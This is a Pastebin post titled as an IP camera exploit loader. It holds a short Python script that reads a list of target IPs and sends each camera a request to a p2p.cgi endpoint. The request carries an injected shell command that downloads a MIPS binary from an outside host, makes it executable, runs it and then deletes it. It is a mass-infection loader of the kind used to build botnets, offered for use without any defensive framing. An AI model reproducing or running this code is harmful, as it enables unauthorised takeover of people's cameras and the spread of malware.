Merlyz

[EXPLOIT] IPCAM Exploit Loader

Oct 12th, 2020
172
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.98 KB | None | 0 0
  1. import threading
  2. import sys
  3. import time
  4. import random
  5. import socket
  6. import subprocess
  7. import re
  8. import os
  9. import struct
  10. import array
  11. import requests
  12. from threading import Thread
  13. from time import sleep
  14. from requests.auth import HTTPDigestAuth
  15. from decimal import *  
  16.  
  17. ips = open(sys.argv[1], "r").readlines()
  18.  
  19. def run(cmd):
  20.     subprocess.call(cmd, shell=True)    
  21. class masteripcam(threading.Thread):
  22.         def __init__ (self, ip):
  23.             threading.Thread.__init__(self)
  24.             self.ip = str(ip).rstrip('\n')
  25.         def run(self):
  26.             try:
  27.                 print "--> " + self.ip
  28.  
  29. url = "http://" + self.ip + "/cgi-bin/p2p.cgi?cmd=`wget http://1.3.3.7/bin.mips chmod 777 bin.mips; ./bin.mips; rm -rf bin.mips`"
  30.  
  31.                 requests.get(url, timeout=3)
  32.  
  33.             except Exception as e:
  34.                 pass
  35. for ip in ips:
  36.     try:
  37.         r = masteripcam(ip)
  38.         r.start()
  39.         time.sleep(0.03)
  40.     except:
  41.         pass
Add Comment
Please, Sign In to add comment